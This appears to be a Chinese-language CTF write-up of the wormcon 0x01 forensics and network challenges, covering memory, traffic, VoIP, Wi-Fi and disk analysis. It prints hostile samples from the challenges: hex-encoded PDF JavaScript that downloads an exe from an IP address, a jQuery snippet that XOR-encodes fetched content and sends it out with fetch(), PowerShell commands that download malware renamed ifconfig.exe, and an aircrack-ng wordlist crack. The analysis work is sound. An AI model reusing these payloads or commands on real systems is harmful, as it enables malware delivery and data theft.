wormcom 0x01(forensics and network)

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Secret Mission

Part1

Description:

Hello welcome back to work we got new project and after a great success in last case because of you we are giving you one more task this time. So we got a project from govt Secret agency that they are behind a person and they have doubt that he is involved with the hackers group and they given us the image of his system.we got a report that he got a message and next instruction to follow but after asking to person he is saying that he only got advance money and the details of it payment but no message can you find what is the message he received.

cmdline

查看命令行历史,发现notepad打开了apache日志文件,我们不应该认为这里存在flag,但是可以尝试。

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 cmdline

pslist

查看进程

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 pslist

memdump

然后去dump对应的notepad,wordpad进程内存

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 memdump -n notepad.exe -D ctf/

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 memdump -n wordpad.exe -D ctf/

但是发现notepad和wordpad的进程内存非常大,共三个进程内存,每个进程内存的大小都大于1g,导致无法使用记事本直接打开。可以使用010Editor打开,但是很难提取到有效信息。

filescan

使用该插件时发现无输出,此时应该考虑更换profile。

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 filescan | grep -E "pdf|txt|zip|png"

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 filescan | grep -E "pdf|txt"

输出中需要注意到Invoice.pdf(Invoice 为 发票)。

因此我们需要dump出该文件进行分析

dumpfiles

复制对应的文件地址进行dumpfiles

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 dumpfiles -Q 0x000000000570c430 -D ctf/

forensic

文件确实可以正常打开

010Editor打开,注意到这里有一段hex

2066756E6374696F6E20646F776E6C6F61642829207B0A2020202020202020202020202020202020206178696F73287B0A20202020202020202020202020202020202020202020202075726C3A202768747470733A2F2F3133342E31322E35362E31323A363433342F7A7A7A2E657865272C0A2020202020202020202020202020202020202020202020206D6574686F643A2027474554272C0A202020202020202020202020202020202020202020202020726573706F6E7365547970653A2027626C6F62270A2020202020202020202020202020202020207D290A2020202020202020202020202020202020202020202020202E7468656E2828726573706F6E736529203D3E207B0A202020202020202020202020202020202020202020202020202020202020636F6E73742075726C203D2077696E646F772E55524C0A2020202020202020202020202020202020202020202020202020202020202020202020202E6372656174654F626A65637455524C286E657720426C6F62285B726573706F6E73652E646174615D29293B0A202020202020202020202020202020202020202020202020202020202020636F6E7374206C696E6B203D20646F63756D656E742E637265617465456C656D656E7428276127293B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E68726566203D2075726C3B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E7365744174747269627574652827646F776E6C6F6164272C20276E632E65786527293B0A202020202020202020202020202020202020202020202020202020202020646F63756D656E742E626F64792E617070656E644368696C64286C696E6B293B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E636C69636B28293B0A202020202020202020202020202020202020202020202020202020202020646F63756D656E742E626F64792E72656D6F76654368696C64286C696E6B293B0A2020202020202020202020202020202020202020202020207D290A2020202020202020202020207D0A0A696628646F776E6C6F61642829297B0A09616C6572742822776F726B20446F6E65203A29206432397962574E76626E745152455A66647A46306146394B553138786331394F4D4852664E4735664D47786B58314E306557777A66513D3D22290A7D0A0A

我们通过xxd进行还原

echo "" | xxd -p -r

最后经过base64解密即可

wormcon{PDF_w1th_JS_1s_N0t_4n_0ld_Styl3}

Part 2

He is contacting to the group via uncommon browser you have to find what is the name of the file on the system which he used to install and have to figure out did he open that browser or not. If yes then md5 the second last registry value added by that browser and if not open then md5 the last registry value added by that browser.

Tor

首先,不常见的浏览器,我们应该想到暗链中的洋葱浏览器,也就是Tor浏览器。其次,我们需要找到可执行文件的文件名,并确认他是否打开该浏览器,最后需要我们去提取注册表值。

关于Tor浏览器

(PDF) Forensic Analysis of Tor Browser: A Case Study for Privacy and Anonymity on the Web (researchgate.net)

volatility

/volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 printkey -K "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store"

能得到其值

C:\Program Files (x86)\Windows NT\Accessories\T0rbR0Ws3R-10.0.1.exe

Part 3

Description:

We find that he got project to develop a web project for the hackers but in hurry he leaked the critical information while developing a web project on his system. Find the information he leaked unintentionally

注意到两个重点信息

web projectcritical information

apache

我们需要想到之前的apache2日志方面的信息并没有使用过,之前尝试过dump进程,但是效果并不好,试一下filescan,找到了access.log,dump下来。

./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 filescan | grep log         ./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 dumpfiles -Q 0x000000007c87d350 -D ctf/

strings

我们通过strings输出里面的内容,找到了奇怪的url,

进行base64解密后拿到了flag。

 

Network At Risk

Part 1

Description:
We are in danger again we got a incident report by our system and after that we capture the network traffic but I think this is not a normal and easy one we have to do deep analysis but due to shortage of time I am giving the task to you. Hope you will find something intresting.

查看该流量包,总体上来看流量分为https和http两块流量。

http

http流量如下,我们需要注意到最后一个奇怪的http访问。

malware

我们标记该流量包,并往上翻可以看到很多css和javascript的文件。其中的html文件没有异常,那么我们考虑是javascript中藏了恶意代码。查阅jquery代码,找到了恶意代码块

function a4sSiIgGn_vVa4lLuUe(text){                                                            CONTENT  = text ;                                                            return 1                                                        }                                                        function g3tTh3Wh4T(url){                                                            var request = new XMLHttpRequest();                                                            request.open('GET', url, true);                                                            request.send(null);                                                            request.onreadystatechange = function () {                                                                if (request.readyState === 4 && request.status === 200) {                                                                    var type = request.getResponseHeader('Content-Type');                                                                    if (type.indexOf("text") !== 1) {                                                                        a4sSiIgGn_vVa4lLuUe(request.responseText);                                                                                                         fetch('http://127.0.0.1:1337?' + enCrYpTX0r(CONTENT,k3Y) );                                 function enCrYpTX0r(text, key) {        return Array.from(                                                            text,                                                            (c, i) => (c.charCodeAt() ^ key.charCodeAt(i % key.length))                                                            ).join('s');                                                    }

xor

可以看到这里url后添加的是经过xor加密的代码块,我们找到key之后对url中的参数进行xor变换即可。

Part 2

Description:
This is the another network traffic we capture for the another network we followed the same process you told us in previous one but that doesn’t work in this case can you help us out in this also.

ftp

打开流量包,在前面就能看到FTP协议流量,由于FTP是一个比较容易跟踪的协议,我们这里直接跟踪ftp。

一共只有100多个tcp流,我们一个个查看过来即可,能找到一个加密的zip压缩包。对应着tcp.stream eq 0 中的

其数据在tcp stream sq 107中

当然也可以通过binwalk进行提取。

然后尝试了伪加密和暴力破解的方法,都失败了。想到我们已经得到了ftp的账号密码,尝试密码,即可成功打开压缩包。

Part 3

Description:
We work for secret govt agencies and we got a report that there will attack on the state by terrorist group and our spy send us some files in three parts which he captured from their network can you tell what is happening on the network.

Note: put _ between the words and put them in the flag format

需要注意到这里的sip:1111@192.168.135.128

Voip

是一个Voip的电话流量,直接在wireshark里面播放

或者使用pcap2wav工具,这里也有提示PCAP2WAV RTP2WAV (xplico.org)

wormcon{welcome_to_the_world_of_voip}

Part 4

Description:

Help me to get into this network!!

Flag Format: wormcon{password_bssid}

Note: bssid is in lowecase

aircrack-ng

cap无线流量包,使用aircrack-ng 直接跑字典爆破即可

aircrack-ng -b challenge.cap -w ./rockyou.txt

 

wormonetics

Part 1

Description
Welcome to our organization wormonetics. Our R&D team is working on a secret project Project Σ. But due to an insider threat, our Project is at risk [ As per the law of corporate yes he is an Intern ]. After doing a lot of analysis we got the final person who is responsible but we find strong evidence so we capture the image of his PC Disk and for further Investigation, we need your help in return we will provide you points 😄

So now you have to find what name our intern is using for contacting the Hackers and it will be great if you also find the email address of whom he is contacting. Flag : wormcon{name_email}

Example: Name is Bob and email is hacker@gmail.com

Sample Flag : wormcon{bob_hacker@gmail.com}

Password: DiskF0r3ns1cswormc0nCTFh4ckS

我们拿到了一个001后缀的文件,是一个完整的文件系统。也许可以尝试仿真取证,首先用ftk Imager 打开。

查看常见路径,首先在vmware和主机传输的缓存目录找到了一个Thunderbird 安装包。

通过查询可知是一个电子邮件客户端。

我们导出被调查者的用户文件夹,准备查看对应着电子邮件客户端的数据文件夹。使用everything,搜索sqlite,通过尝试即可知道是history.sqlite

使用DB browser 打开sqlite文件

也可以使用bash一把梭

grep -r ".com" ./

也可以进行仿真。

我们在虚拟机中进行profile的导入,打开manager 进行profile的导入。

"C:\Program Files\Mozilla Thunderbird\thunderbird.exe" -P

导入路径为,导入后成功看到了右键信息。

C:\Users\Scr1pt\Desktop\l3v1ath4n\AppData\Roaming\Thunderbird\Profiles\txswyalh.default-release

导入成功后能看到

Part 2

DESCRIPTION
We worked on the email you provided us earlier and we get to know that our Intern received an secret mail from the Group having information about where they will further communicate. Now your task is to find where they are planning to communicate and reach there to check what they discussed.

通过ftk Imager 寻找eml,找一些常见的路径,在Get Your Offer.eml,常见的钓鱼邮件名。

我们在邮件中能找到一个xls文件和一个html文件。

对于xls文件,常见的vba宏代码,我们需要使用oletools进行查看的提取。

python3 oledump.py annual_report.xlspython3 oledump.py annual_report.xls  -s 3

提取出stream 12,stream 13,这两块是vba宏代码我们使用脚本进行decompress

python3 oledump.py annual_report.xls  -s 3 -v

很明显能看到两个数组,ascii码转换成字母即可

vald_12 = Array(80 76 51 65 83 51 83 51 67 85 82 51)valid1 = Array(65 80 84 45 49 51 51 55 45 83 72 52 68 48 87)

APT-1337-SH4D0WPL3AS3S3CUR3

但是我们并不知道这里是一个账号密码。

我们回去查看html文件,发现这里需要一个账号和密码,我们尝试输入上面这两个数据,但是由于网站关掉了访问不了,所以导致了我们登录后直接404了。

跳转路径如下

/renga-idprovider/pages/newwindow?new_url=https://apt-login.vulnfreak.org

Part 3

Description:

After last evidence we are sure and ask the Intern about this so he told us that he also don’t know what happened he said after the last message he received there is no communication between them and also his system is start behaving suspicious. We think they inject malware to the system if this is true you have to find what is the name of the malware file on the system and which family malware belongs.

我们通过ftk imager导出文件夹,火绒扫描出了ifconfig.exe是一个木马文件。

用virustotal上传该木马

即可得到

wormcon{ifconfig.exe_Bitter_Rat}

tips

我们也能查看到powershell历史

\Users\l3v1ath4n\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

命令行历史

  Id CommandLine  -- -----------   1 cd ../   2 cd ../   3 pwd   4 cd .\Users   5 cd .\Public   6 ls   7 cd .\Music   8 ls   9 cd ../  10 cd ../  11 pwd  12 cd ../  13 cd .\AppData\LocalLow\Microsoft\CryptnetUrlCache  14 cd .\Content  15 ls  16 clear  17 Invoke-WebRequest -Uri https://github.com/0xwadfg/malware/blob/raw/sm3r.exe -OutFile ifconfig.exe  18 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  19 Invoke-WebRequest -Uri https://github.com/0xwadfg/malware/raw/main/sm3r.exe -OutFile ifconfig.exe  20 ls  21 ls | grep ifconfig
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